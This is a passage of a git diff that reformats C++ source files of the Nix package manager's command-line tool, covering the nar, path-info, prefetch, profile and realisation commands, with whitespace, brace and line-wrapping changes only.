-4,8 +4,10 @@ using namespace nix; struct CmdNar : NixMultiCommand { - CmdNar() : NixMultiCommand("nar", RegisterCommand::getCommandsFor({"nar"})) - { } + CmdNar() + : NixMultiCommand("nar", RegisterCommand::getCommandsFor({"nar"})) + { + } std::string description() override { @@ -15,11 +17,14 @@ struct CmdNar : NixMultiCommand std::string doc() override { return - #include "nar.md" - ; +#include "nar.md" + ; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; static auto rCmdNar = registerCommand("nar"); diff --git a/src/nix/optimise-store.cc b/src/nix/optimise-store.cc index e319f5c90..e000026fc 100644 --- a/src/nix/optimise-store.cc +++ b/src/nix/optimise-store.cc @@ -16,8 +16,8 @@ struct CmdOptimiseStore : StoreCommand std::string doc() override { return - #include "optimise-store.md" - ; +#include "optimise-store.md" + ; } void run(ref store) override diff --git a/src/nix/path-from-hash-part.cc b/src/nix/path-from-hash-part.cc index 814b723f9..7e6c6ec28 100644 --- a/src/nix/path-from-hash-part.cc +++ b/src/nix/path-from-hash-part.cc @@ -23,8 +23,8 @@ struct CmdPathFromHashPart : StoreCommand std::string doc() override { return - #include "path-from-hash-part.md" - ; +#include "path-from-hash-part.md" + ; } void run(ref store) override diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc index 04af72646..fef3ae120 100644 --- a/src/nix/path-info.cc +++ b/src/nix/path-info.cc @@ -28,7 +28,6 @@ static uint64_t getStoreObjectsTotalSize(Store & store, const StorePathSet & clo return totalNarSize; } - /** * Write a JSON representation of store object metadata, such as the * hash and the references. @@ -36,10 +35,7 @@ static uint64_t getStoreObjectsTotalSize(Store & store, const StorePathSet & clo * @param showClosureSize If true, the closure size of each path is * included. */ -static json pathInfoToJSON( - Store & store, - const StorePathSet & storePaths, - bool showClosureSize) +static json pathInfoToJSON(Store & store, const StorePathSet & storePaths, bool showClosureSize) { json::object_t jsonAllObjects = json::object(); @@ -70,7 +66,8 @@ static json pathInfoToJSON( if (auto * depNarInfo = dynamic_cast(&*depInfo)) totalDownloadSize += depNarInfo->fileSize; else - throw Error("Missing .narinfo for dep %s of %s", + throw Error( + "Missing .narinfo for dep %s of %s", store.printStorePath(p), store.printStorePath(storePath)); } @@ -87,7 +84,6 @@ static json pathInfoToJSON( return jsonAllObjects; } - struct CmdPathInfo : StorePathsCommand, MixJSON { bool showSize = false; @@ -133,11 +129,14 @@ struct CmdPathInfo : StorePathsCommand, MixJSON std::string doc() override { return - #include "path-info.md" - ; +#include "path-info.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } void printSize(std::ostream & str, uint64_t value) { @@ -186,15 +185,17 @@ struct CmdPathInfo : StorePathsCommand, MixJSON if (showSigs) { str << '\t'; Strings ss; - if (info->ultimate) ss.push_back("ultimate"); - if (info->ca) ss.push_back("ca:" + renderContentAddress(*info->ca)); - for (auto & sig : info->sigs) ss.push_back(sig); + if (info->ultimate) + ss.push_back("ultimate"); + if (info->ca) + ss.push_back("ca:" + renderContentAddress(*info->ca)); + for (auto & sig : info->sigs) + ss.push_back(sig); str << concatStringsSep(" ", ss); } logger->cout(str.str()); } - } } }; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 6819e596d..4820982fd 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -23,18 +23,20 @@ using namespace nix; mirrors defined in Nixpkgs. */ std::string resolveMirrorUrl(EvalState & state, const std::string & url) { - if (url.substr(0, 9) != "mirror://") return url; + if (url.substr(0, 9) != "mirror://") + return url; std::string s(url, 9); auto p = s.find('/'); - if (p == std::string::npos) throw Error("invalid mirror URL '%s'", url); + if (p == std::string::npos) + throw Error("invalid mirror URL '%s'", url); std::string mirrorName(s, 0, p); Value vMirrors; // FIXME: use nixpkgs flake - state.eval(state.parseExprFromString( - "import ", - state.rootPath(CanonPath::root)), + state.eval( + state.parseExprFromString( + "import ", state.rootPath(CanonPath::root)), vMirrors); state.forceAttrs(vMirrors, noPos, "while evaluating the set of all mirrors"); @@ -46,22 +48,22 @@ std::string resolveMirrorUrl(EvalState & state, const std::string & url) if (mirrorList->value->listSize() < 1) throw Error("mirror URL '%s' did not expand to anything", url); - std::string mirror(state.forceString(*mirrorList->value->listElems()[0], noPos, "while evaluating the first available mirror")); + std::string mirror( + state.forceString(*mirrorList->value->listElems()[0], noPos, "while evaluating the first available mirror")); return mirror + (hasSuffix(mirror, "/") ? "" : "/") + s.substr(p + 1); } std::tuple prefetchFile( - ref store, - std::string_view url, - std::optional name, - HashAlgorithm hashAlgo, - std::optional expectedHash, - bool unpack, - bool executable) + ref store, + std::string_view url, + std::optional name, + HashAlgorithm hashAlgo, + std::optional expectedHash, + bool unpack, + bool executable) { - ContentAddressMethod method = unpack || executable - ? ContentAddressMethod::Raw::NixArchive - : ContentAddressMethod::Raw::Flat; + ContentAddressMethod method = + unpack || executable ? ContentAddressMethod::Raw::NixArchive : ContentAddressMethod::Raw::Flat; /* Figure out a name in the Nix store. */ if (!name) { @@ -77,10 +79,8 @@ std::tuple prefetchFile( the store. */ if (expectedHash) { hashAlgo = expectedHash->algo; - storePath = store->makeFixedOutputPathFromCA(*name, ContentAddressWithReferences::fromParts( - method, - *expectedHash, - {})); + storePath = + store->makeFixedOutputPathFromCA(*name, ContentAddressWithReferences::fromParts(method, *expectedHash, {})); if (store->isValidPath(*storePath)) hash = expectedHash; else @@ -99,7 +99,8 @@ std::tuple prefetchFile( mode = 0700; AutoCloseFD fd = toDescriptor(open(tmpFile.string().c_str(), O_WRONLY | O_CREAT | O_EXCL, mode)); - if (!fd) throw SysError("creating temporary file '%s'", tmpFile); + if (!fd) + throw SysError("creating temporary file '%s'", tmpFile); FdSink sink(fd.get()); @@ -110,8 +111,7 @@ std::tuple prefetchFile( /* Optionally unpack the file. */ if (unpack) { - Activity act(*logger, lvlChatty, actUnknown, - fmt("unpacking '%s'", url)); + Activity act(*logger, lvlChatty, actUnknown, fmt("unpacking '%s'", url)); auto unpacked = (tmpDir.path() / "unpacked").string(); createDirs(unpacked); unpackTarfile(tmpFile.string(), unpacked); @@ -127,12 +127,10 @@ std::tuple prefetchFile( } } - Activity act(*logger, lvlChatty, actUnknown, - fmt("adding '%s' to the store", url)); + Activity act(*logger, lvlChatty, actUnknown, fmt("adding '%s' to the store", url)); auto info = store->addToStoreSlow( - *name, PosixSourceAccessor::createAtRoot(tmpFile), - method, hashAlgo, {}, expectedHash); + *name, PosixSourceAccessor::createAtRoot(tmpFile), method, hashAlgo, {}, expectedHash); storePath = info.path; assert(info.ca); hash = info.ca->hash; @@ -141,7 +139,7 @@ std::tuple prefetchFile( return {storePath.value(), hash.value()}; } -static int main_nix_prefetch_url(int argc, char * * argv) +static int main_nix_prefetch_url(int argc, char ** argv) { { HashAlgorithm ha = HashAlgorithm::SHA256; @@ -166,14 +164,12 @@ static int main_nix_prefetch_url(int argc, char * * argv) else if (*arg == "--type") { auto s = getArg(*arg, arg, end); ha = parseHashAlgo(s); - } - else if (*arg == "--print-path") + } else if (*arg == "--print-path") printPath = true; else if (*arg == "--attr" || *arg == "-A") { fromExpr = true; attrPath = getArg(*arg, arg, end); - } - else if (*arg == "--unpack") + } else if (*arg == "--unpack") unpack = true; else if (*arg == "--executable") executable = true; @@ -207,10 +203,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) url = args[0]; } else { Value vRoot; - state->evalFile( - resolveExprPath( - lookupFileArg(*state, args.empty() ? "." : args[0])), - vRoot); + state->evalFile(resolveExprPath(lookupFileArg(*state, args.empty() ? "." : args[0])), vRoot); Value & v(*findAlongAttrPath(*state, attrPath, autoArgs, vRoot).first); state->forceAttrs(v, noPos, "while evaluating the source attribute to prefetch"); @@ -221,20 +214,24 @@ static int main_nix_prefetch_url(int argc, char * * argv) state->forceList(*attr->value, noPos, "while evaluating the urls to prefetch"); if (attr->value->listSize() < 1) throw Error("'urls' list is empty"); - url = state->forceString(*attr->value->listElems()[0], noPos, "while evaluating the first url from the urls list"); + url = state->forceString( + *attr->value->listElems()[0], noPos, "while evaluating the first url from the urls list"); /* Extract the hash mode. */ auto attr2 = v.attrs()->get(state->symbols.create("outputHashMode")); if (!attr2) printInfo("warning: this does not look like a fetchurl call"); else - unpack = state->forceString(*attr2->value, noPos, "while evaluating the outputHashMode of the source to prefetch") == "recursive"; + unpack = state->forceString( + *attr2->value, noPos, "while evaluating the outputHashMode of the source to prefetch") + == "recursive"; /* Extract the name. */ if (!name) { auto attr3 = v.attrs()->get(state->symbols.create("name")); if (!attr3) - name = state->forceString(*attr3->value, noPos, "while evaluating the name of the source to prefetch"); + name = + state->forceString(*attr3->value, noPos, "while evaluating the name of the source to prefetch"); } } @@ -242,8 +239,8 @@ static int main_nix_prefetch_url(int argc, char * * argv) if (args.size() == 2) expectedHash = Hash::parseAny(args[1], ha); - auto [storePath, hash] = prefetchFile( - store, resolveMirrorUrl(*state, url), name, ha, expectedHash, unpack, executable); + auto [storePath, hash] = + prefetchFile(store, resolveMirrorUrl(*state, url), name, ha, expectedHash, unpack, executable); logger->stop(); @@ -273,7 +270,8 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON { addFlag({ .longName = "name", - .description = "Override the name component of the resulting store path. It defaults to the base name of *url*.", + .description = + "Override the name component of the resulting store path. It defaults to the base name of *url*.", .labels = {"name"}, .handler = {&name}, }); @@ -282,26 +280,22 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON .longName = "expected-hash", .description = "The expected hash of the file.", .labels = {"hash"}, - .handler = {[&](std::string s) { - expectedHash = Hash::parseAny(s, hashAlgo); - }}, + .handler = {[&](std::string s) { expectedHash = Hash::parseAny(s, hashAlgo); }}, }); addFlag(flag::hashAlgo("hash-type", &hashAlgo)); addFlag({ .longName = "executable", - .description = - "Make the resulting file executable. Note that this causes the " - "resulting hash to be a NAR hash rather than a flat file hash.", + .description = "Make the resulting file executable. Note that this causes the " + "resulting hash to be a NAR hash rather than a flat file hash.", .handler = {&executable, true}, }); addFlag({ .longName = "unpack", - .description = - "Unpack the archive (which must be a tarball or zip file) and add " - "the result to the Nix store.", + .description = "Unpack the archive (which must be a tarball or zip file) and add " + "the result to the Nix store.", .handler = {&unpack, true}, }); @@ -316,8 +310,8 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON std::string doc() override { return - #include "store-prefetch-file.md" - ; +#include "store-prefetch-file.md" + ; } void run(ref store) override { @@ -329,7 +323,8 @@ struct CmdStorePrefetchFile : StoreCommand, MixJSON res["hash"] = hash.to_string(HashFormat::SRI, true); printJSON(res); } else { - notice("Downloaded '%s' to '%s' (hash '%s').", + notice( + "Downloaded '%s' to '%s' (hash '%s').", url, store->printStorePath(storePath), hash.to_string(HashFormat::SRI, true)); diff --git a/src/nix/profile.cc b/src/nix/profile.cc index a0b6ee6c2..6d7f06216 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -30,12 +30,11 @@ struct ProfileElementSource ExtendedOutputsSpec outputs; // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. - //auto operator <=> (const ProfileElementSource & other) const - auto operator < (const ProfileElementSource & other) const + // auto operator <=> (const ProfileElementSource & other) const + auto operator<(const ProfileElementSource & other) const { - return - std::tuple(originalRef.to_string(), attrPath, outputs) < - std::tuple(other.originalRef.to_string(), other.attrPath, other.outputs); + return std::tuple(originalRef.to_string(), attrPath, outputs) + < std::tuple(other.originalRef.to_string(), other.attrPath, other.outputs); } std::string to_string() const @@ -85,22 +84,19 @@ struct ProfileElement return showVersions(versions); } - void updateStorePaths( - ref evalStore, - ref store, - const BuiltPaths & builtPaths) + void updateStorePaths(ref evalStore, ref store, const BuiltPaths & builtPaths) { storePaths.clear(); for (auto & buildable : builtPaths) { - std::visit(overloaded { - [&](const BuiltPath::Opaque & bo) { - storePaths.insert(bo.path); + std::visit( + overloaded{ + [&](const BuiltPath::Opaque & bo) { storePaths.insert(bo.path); }, + [&](const BuiltPath::Built & bfd) { + for (auto & output : bfd.outputs) + storePaths.insert(output.second); + }, }, - [&](const BuiltPath::Built & bfd) { - for (auto & output : bfd.outputs) - storePaths.insert(output.second); - }, - }, buildable.raw()); + buildable.raw()); } } }; @@ -120,7 +116,7 @@ struct ProfileManifest std::map elements; - ProfileManifest() { } + ProfileManifest() {} ProfileManifest(EvalState & state, const std::filesystem::path & profile) { @@ -133,17 +129,17 @@ struct ProfileManifest std::string sUrl; std::string sOriginalUrl; switch (version) { - case 1: - sUrl = "uri"; - sOriginalUrl = "originalUri"; - break; - case 2: - case 3: - sUrl = "url"; - sOriginalUrl = "originalUrl"; - break; - default: - throw Error("profile manifest '%s' has unsupported version %d", manifestPath, version); + case 1: + sUrl = "uri"; + sOriginalUrl = "originalUri"; + break; + case 2: + case 3: + sUrl = "url"; + sOriginalUrl = "originalUrl"; + break; + default: + throw Error("profile manifest '%s' has unsupported version %d", manifestPath, version); } auto elems = json["elements"]; @@ -153,24 +149,22 @@ struct ProfileManifest for (auto & p : e["storePaths"]) element.storePaths.insert(state.store->parseStorePath((std::string) p)); element.active = e["active"]; - if(e.contains("priority")) { + if (e.contains("priority")) { element.priority = e["priority"]; } if (e.value(sUrl, "") != "") { - element.source = ProfileElementSource { + element.source = ProfileElementSource{ parseFlakeRef(fetchSettings, e[sOriginalUrl]), parseFlakeRef(fetchSettings, e[sUrl]), e["attrPath"], - e["outputs"].get() - }; + e["outputs"].get()}; } std::string name = - elems.is_object() - ? elem.key() + elems.is_object() ? elem.key() : element.source - ? getNameFromURL(parseURL(element.source->to_string())).value_or(element.identifier()) - : element.identifier(); + ? getNameFromURL(parseURL(element.source->to_string())).value_or(element.identifier()) + : element.identifier(); addElement(name, std::move(element)); } @@ -258,17 +252,18 @@ struct ProfileManifest auto narHash = hashString(HashAlgorithm::SHA256, sink.s); - ValidPathInfo info { + ValidPathInfo info{ *store, "profile", - FixedOutputInfo { + FixedOutputInfo{ .method = FileIngestionMethod::NixArchive, .hash = narHash, - .references = { - .others = std::move(references), - // profiles never refer to themselves - .self = false, - }, + .references = + { + .others = std::move(references), + // profiles never refer to themselves + .self = false, + }, }, narHash, }; @@ -292,13 +287,11 @@ struct ProfileManifest logger->cout("%s%s: ∅ -> %s", indent, j->second.identifier(), j->second.versions()); changes = true; ++j; - } - else if (i != prev.elements.end() && (j == cur.elements.end() || i->first < j->first)) { + } else if (i != prev.elements.end() && (j == cur.elements.end() || i->first < j->first)) { logger->cout("%s%s: %s -> ∅", indent, i->second.identifier(), i->second.versions()); changes = true; ++i; - } - else { + } else { auto v1 = i->second.versions(); auto v2 = j->second.versions(); if (v1 != v2) { @@ -316,18 +309,16 @@ struct ProfileManifest }; static std::map>> -builtPathsPerInstallable( - const std::vector, BuiltPathWithResult>> & builtPaths) +builtPathsPerInstallable(const std::vector, BuiltPathWithResult>> & builtPaths) { std::map>> res; for (auto & [installable, builtPath] : builtPaths) { - auto & r = res.insert({ - &*installable, - { - {}, - make_ref(), - } - }).first->second; + auto & r = res.insert({&*installable, + { + {}, + make_ref(), + }}) + .first->second; /* Note that there could be conflicting info (e.g. meta.priority fields) if the installable returned multiple derivations. So pick one arbitrarily. FIXME: @@ -342,7 +333,8 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile { std::optional priority; - CmdProfileInstall() { + CmdProfileInstall() + { addFlag({ .longName = "priority", .description = "The priority of the package to install.", @@ -359,8 +351,8 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile std::string doc() override { return - #include "profile-install.md" - ; +#include "profile-install.md" + ; } void run(ref store, Installables && installables) override @@ -368,18 +360,18 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile ProfileManifest manifest(*getEvalState(), *profile); auto builtPaths = builtPathsPerInstallable( - Installable::build2( - getEvalStore(), store, Realise::Outputs, installables, bmNormal)); + Installable::build2(getEvalStore(), store, Realise::Outputs, installables, bmNormal)); for (auto & installable : installables) { ProfileElement element; auto iter = builtPaths.find(&*installable); - if (iter == builtPaths.end()) continue; + if (iter == builtPaths.end()) + continue; auto & [res, info] = iter->second; if (auto * info2 = dynamic_cast(&*info)) { - element.source = ProfileElementSource { + element.source = ProfileElementSource{ .originalRef = info2->flake.originalRef, .lockedRef = info2->flake.lockedRef, .attrPath = info2->value.attrPath, @@ -389,15 +381,10 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile // If --priority was specified we want to override the // priority of the installable. - element.priority = - priority - ? *priority - : ({ - auto * info2 = dynamic_cast(&*info); - info2 - ? info2->value.priority.value_or(defaultPriority) - : defaultPriority; - }); + element.priority = priority ? *priority : ({ + auto * info2 = dynamic_cast(&*info); + info2 ? info2->value.priority.value_or(defaultPriority) : defaultPriority; + }); element.updateStorePaths(getEvalStore(), store, res); @@ -409,12 +396,9 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile auto existingElement = existingPair->second; auto existingSource = existingElement.source; auto elementSource = element.source; - if (existingSource - && elementSource - && existingElement.priority == element.priority + if (existingSource && elementSource && existingElement.priority == element.priority && existingSource->originalRef == elementSource->originalRef - && existingSource->attrPath == elementSource->attrPath - ) { + && existingSource->attrPath == elementSource->attrPath) { warn("'%s' is already installed", elementName); continue; } @@ -427,7 +411,8 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile updateProfile(manifest.build(store)); } catch (BuildEnvFileConflictError & conflictError) { // FIXME use C++20 std::ranges once macOS has it - // See https://github.com/NixOS/nix/compare/3efa476c5439f8f6c1968a6ba20a31d1239c2f04..1fe5d172ece51a619e879c4b86f603d9495cc102 + // See + // https://github.com/NixOS/nix/compare/3efa476c5439f8f6c1968a6ba20a31d1239c2f04..1fe5d172ece51a619e879c4b86f603d9495cc102 auto findRefByFilePath = [&](Iterator begin, Iterator end) { for (auto it = begin; it != end; it++) { auto & [name, profileElement] = *it; @@ -445,9 +430,11 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile // There are 2 conflicting files. We need to find out which one is from the already installed package and // which one is the package that is the new package that is being installed. // The first matching package is the one that was already installed (original). - auto [originalConflictingFilePath, originalEntryName, originalConflictingRefs] = findRefByFilePath(manifest.elements.begin(), manifest.elements.end()); + auto [originalConflictingFilePath, originalEntryName, originalConflictingRefs] = + findRefByFilePath(manifest.elements.begin(), manifest.elements.end()); // The last matching package is the one that was going to be installed (new). - auto [newConflictingFilePath, newEntryName, newConflictingRefs] = findRefByFilePath(manifest.elements.rbegin(), manifest.elements.rend()); + auto [newConflictingFilePath, newEntryName, newConflictingRefs] = + findRefByFilePath(manifest.elements.rbegin(), manifest.elements.rend()); throw Error( "An existing package already provides the following file:\n" @@ -477,15 +464,14 @@ struct CmdProfileInstall : InstallablesCommand, MixDefaultProfile concatStringsSep(" ", newConflictingRefs), conflictError.priority, conflictError.priority - 1, - conflictError.priority + 1 - ); + conflictError.priority + 1); } } }; struct Matcher { - virtual ~Matcher() { } + virtual ~Matcher() {} virtual std::string getTitle() = 0; virtual bool matches(const std::string & name, const ProfileElement & element) = 0; }; @@ -495,8 +481,11 @@ struct RegexMatcher final : public Matcher std::regex regex; std::string pattern; - RegexMatcher(const std::string & pattern) : regex(pattern, std::regex::extended | std::regex::icase), pattern(pattern) - { } + RegexMatcher(const std::string & pattern) + : regex(pattern, std::regex::extended | std::regex::icase) + , pattern(pattern) + { + } std::string getTitle() override { @@ -513,8 +502,10 @@ struct StorePathMatcher final : public Matcher { nix::StorePath storePath; - StorePathMatcher(const nix::StorePath & storePath) : storePath(storePath) - { } + StorePathMatcher(const nix::StorePath & storePath) + : storePath(storePath) + { + } std::string getTitle() override { @@ -531,8 +522,10 @@ struct NameMatcher final : public Matcher { std::string name; - NameMatcher(const std::string & name) : name(name) - { } + NameMatcher(const std::string & name) + : name(name) + { + } std::string getTitle() override { @@ -572,40 +565,43 @@ public: .longName = "all", .description = "Match all packages in the profile.", .handler = {[this]() { - _matchers.push_back(ref(std::shared_ptr(&all, [](AllMatcher*) {}))); + _matchers.push_back(ref(std::shared_ptr(&all, [](AllMatcher *) {}))); }}, }); addFlag({ .longName = "regex", .description = "A regular expression to match one or more packages in the profile.", .labels = {"pattern"}, - .handler = {[this](std::string arg) { - _matchers.push_back(make_ref(arg)); - }}, - }); - expectArgs({ - .label = "elements", - .optional = true, - .handler = {[this](std::vector args) { - for (auto & arg : args) { - if (auto n = string2Int(arg)) { - throw Error("'nix profile' no longer supports indices ('%d')", *n); - } else if (getStore()->isStorePath(arg)) { - _matchers.push_back(make_ref(getStore()->parseStorePath(arg))); - } else { - _matchers.push_back(make_ref(arg)); - } - } - }} + .handler = {[this](std::string arg) { _matchers.push_back(make_ref(arg)); }}, }); + expectArgs( + {.label = "elements", + .optional = true, + .handler = {[this](std::vector args) { + for (auto & arg : args) { + if (auto n = string2Int(arg)) { + throw Error("'nix profile' no longer supports indices ('%d')", *n); + } else if (getStore()->isStorePath(arg)) { + _matchers.push_back(make_ref(getStore()->parseStorePath(arg))); + } else { + _matchers.push_back(make_ref(arg)); + } + } + }}}); } - std::set getMatchingElementNames(ProfileManifest & manifest) { + std::set getMatchingElementNames(ProfileManifest & manifest) + { if (_matchers.empty()) { throw UsageError("No packages specified."); } - if (std::find_if(_matchers.begin(), _matchers.end(), [](const ref & m) { return m.dynamic_pointer_cast(); }) != _matchers.end() && _matchers.size() > 1) { + if (std::find_if( + _matchers.begin(), + _matchers.end(), + [](const ref & m) { return m.dynamic_pointer_cast(); }) + != _matchers.end() + && _matchers.size() > 1) { throw UsageError("--all cannot be used with package names or regular expressions."); } @@ -641,8 +637,8 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem std::string doc() override { return - #include "profile-remove.md" - ; +#include "profile-remove.md" + ; } void run(ref store) override @@ -654,7 +650,7 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem auto matchingElementNames = getMatchingElementNames(oldManifest); if (matchingElementNames.empty()) { - warn ("No packages to remove. Use 'nix profile list' to see the current profile."); + warn("No packages to remove. Use 'nix profile list' to see the current profile."); return; } @@ -665,9 +661,7 @@ struct CmdProfileRemove : virtual EvalCommand, MixDefaultProfile, MixProfileElem } auto removedCount = oldManifest.elements.size() - newManifest.elements.size(); - printInfo("removed %d packages, kept %d packages", - removedCount, - newManifest.elements.size()); + printInfo("removed %d packages, kept %d packages", removedCount, newManifest.elements.size()); updateProfile(newManifest.build(store)); } @@ -683,8 +677,8 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf std::string doc() override { return - #include "profile-upgrade.md" - ; +#include "profile-upgrade.md" + ; } void run(ref store) override @@ -709,22 +703,19 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf if (!element.source) { warn( "Found package '%s', but it was not installed from a flake, so it can't be checked for upgrades!", - element.identifier() - ); + element.identifier()); continue; } if (element.source->originalRef.input.isLocked()) { warn( "Found package '%s', but it was installed from a locked flake reference so it can't be upgraded!", - element.identifier() - ); + element.identifier()); continue; } upgradedCount++; - Activity act(*logger, lvlChatty, actUnknown, - fmt("checking '%s' for updates", element.source->attrPath)); + Activity act(*logger, lvlChatty, actUnknown, fmt("checking '%s' for updates", element.source->attrPath)); auto installable = make_ref( this, @@ -737,20 +728,23 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf lockFlags); auto derivedPaths = installable->toDerivedPaths(); - if (derivedPaths.empty()) continue; + if (derivedPaths.empty()) + continue; auto * infop = dynamic_cast(&*derivedPaths[0].info); // `InstallableFlake` should use `ExtraPathInfoFlake`. assert(infop); auto & info = *infop; - if (info.flake.lockedRef.input.isLocked() - && element.source->lockedRef == info.flake.lockedRef) + if (info.flake.lockedRef.input.isLocked() && element.source->lockedRef == info.flake.lockedRef) continue; - printInfo("upgrading '%s' from flake '%s' to '%s'", - element.source->attrPath, element.source->lockedRef, info.flake.lockedRef); + printInfo( + "upgrading '%s' from flake '%s' to '%s'", + element.source->attrPath, + element.source->lockedRef, + info.flake.lockedRef); - element.source = ProfileElementSource { + element.source = ProfileElementSource{ .originalRef = installable->flakeRef, .lockedRef = info.flake.lockedRef, .attrPath = info.value.attrPath, @@ -767,16 +761,12 @@ struct CmdProfileUpgrade : virtual SourceExprCommand, MixDefaultProfile, MixProf } auto builtPaths = builtPathsPerInstallable( - Installable::build2( - getEvalStore(), store, Realise::Outputs, installables, bmNormal)); + Installable::build2(getEvalStore(), store, Realise::Outputs, installables, bmNormal)); for (size_t i = 0; i < installables.size(); ++i) { auto & installable = installables.at(i); auto & element = *elems.at(i); - element.updateStorePaths( - getEvalStore(), - store, - builtPaths.find(&*installable)->second.first); + element.updateStorePaths(getEvalStore(), store, builtPaths.find(&*installable)->second.first); } updateProfile(manifest.build(store)); @@ -793,8 +783,8 @@ struct CmdProfileList : virtual EvalCommand, virtual StoreCommand, MixDefaultPro std::string doc() override { return - #include "profile-list.md" - ; +#include "profile-list.md" + ; } void run(ref store) override @@ -806,16 +796,20 @@ struct CmdProfileList : virtual EvalCommand, virtual StoreCommand, MixDefaultPro } else { for (const auto & [i, e] : enumerate(manifest.elements)) { auto & [name, element] = e; - if (i) logger->cout(""); - logger->cout("Name: " ANSI_BOLD "%s" ANSI_NORMAL "%s", + if (i) + logger->cout(""); + logger->cout( + "Name: " ANSI_BOLD "%s" ANSI_NORMAL "%s", name, element.active ? "" : " " ANSI_RED "(inactive)" ANSI_NORMAL); if (element.source) { - logger->cout("Flake attribute: %s%s", element.source->attrPath, element.source->outputs.to_string()); + logger->cout( + "Flake attribute: %s%s", element.source->attrPath, element.source->outputs.to_string()); logger->cout("Original flake URL: %s", element.source->originalRef.to_string()); logger->cout("Locked flake URL: %s", element.source->lockedRef.to_string()); } - logger->cout("Store paths: %s", concatStringsSep(" ", store->printStorePathSet(element.storePaths))); + logger->cout( + "Store paths: %s", concatStringsSep(" ", store->printStorePathSet(element.storePaths))); } } } @@ -831,8 +825,8 @@ struct CmdProfileDiffClosures : virtual StoreCommand, MixDefaultProfile std::string doc() override { return - #include "profile-diff-closures.md" - ; +#include "profile-diff-closures.md" + ; } void run(ref store) override @@ -844,13 +838,12 @@ struct CmdProfileDiffClosures : virtual StoreCommand, MixDefaultProfile for (auto & gen : gens) { if (prevGen) { - if (!first) logger->cout(""); + if (!first) + logger->cout(""); first = false; logger->cout("Version %d -> %d:", prevGen->number, gen.number); - printClosureDiff(store, - store->followLinksToStorePath(prevGen->path), - store->followLinksToStorePath(gen.path), - " "); + printClosureDiff( + store, store->followLinksToStorePath(prevGen->path), store->followLinksToStorePath(gen.path), " "); } prevGen = gen; @@ -868,8 +861,8 @@ struct CmdProfileHistory : virtual StoreCommand, EvalCommand, MixDefaultProfile std::string doc() override { return - #include "profile-history.md" - ; +#include "profile-history.md" + ; } void run(ref store) override @@ -882,19 +875,18 @@ struct CmdProfileHistory : virtual StoreCommand, EvalCommand, MixDefaultProfile for (auto & gen : gens) { ProfileManifest manifest(*getEvalState(), gen.path); - if (!first) logger->cout(""); + if (!first) + logger->cout(""); first = false; - logger->cout("Version %s%d" ANSI_NORMAL " (%s)%s:", + logger->cout( + "Version %s%d" ANSI_NORMAL " (%s)%s:", gen.number == curGen ? ANSI_GREEN : ANSI_BOLD, gen.number, std::put_time(std::gmtime(&gen.creationTime), "%Y-%m-%d"), prevGen ? fmt(" <- %d", prevGen->first.number) : ""); - ProfileManifest::printDiff( - prevGen ? prevGen->second : ProfileManifest(), - manifest, - " "); + ProfileManifest::printDiff(prevGen ? prevGen->second : ProfileManifest(), manifest, " "); prevGen = {gen, std::move(manifest)}; } @@ -923,8 +915,8 @@ struct CmdProfileRollback : virtual StoreCommand, MixDefaultProfile, MixDryRun std::string doc() override { return - #include "profile-rollback.md" - ; +#include "profile-rollback.md" + ; } void run(ref store) override @@ -941,10 +933,9 @@ struct CmdProfileWipeHistory : virtual StoreCommand, MixDefaultProfile, MixDryRu { addFlag({ .longName = "older-than", - .description = - "Delete versions older than the specified age. *age* " - "must be in the format *N*`d`, where *N* denotes a number " - "of days.", + .description = "Delete versions older than the specified age. *age* " + "must be in the format *N*`d`, where *N* denotes a number " + "of days.", .labels = {"age"}, .handler = {&minAge}, }); @@ -958,8 +949,8 @@ struct CmdProfileWipeHistory : virtual StoreCommand, MixDefaultProfile, MixDryRu std::string doc() override { return - #include "profile-wipe-history.md" - ; +#include "profile-wipe-history.md" + ; } void run(ref store) override @@ -976,18 +967,19 @@ struct CmdProfile : NixMultiCommand { CmdProfile() : NixMultiCommand( - "profile", - { - {"install", []() { return make_ref(); }}, - {"remove", []() { return make_ref(); }}, - {"upgrade", []() { return make_ref(); }}, - {"list", []() { return make_ref(); }}, - {"diff-closures", []() { return make_ref(); }}, - {"history", []() { return make_ref(); }}, - {"rollback", []() { return make_ref(); }}, - {"wipe-history", []() { return make_ref(); }}, - }) - { } + "profile", + { + {"install", []() { return make_ref(); }}, + {"remove", []() { return make_ref(); }}, + {"upgrade", []() { return make_ref(); }}, + {"list", []() { return make_ref(); }}, + {"diff-closures", []() { return make_ref(); }}, + {"history", []() { return make_ref(); }}, + {"rollback", []() { return make_ref(); }}, + {"wipe-history", []() { return make_ref(); }}, + }) + { + } std::string description() override { @@ -997,8 +989,8 @@ struct CmdProfile : NixMultiCommand std::string doc() override { return - #include "profile.md" - ; +#include "profile.md" + ; } }; diff --git a/src/nix/realisation.cc b/src/nix/realisation.cc index f21567639..a0e400f54 100644 --- a/src/nix/realisation.cc +++ b/src/nix/realisation.cc @@ -7,15 +7,20 @@ using namespace nix; struct CmdRealisation : NixMultiCommand { - CmdRealisation() : NixMultiCommand("realisation", RegisterCommand::getCommandsFor({"realisation"})) - { } + CmdRealisation() + : NixMultiCommand("realisation", 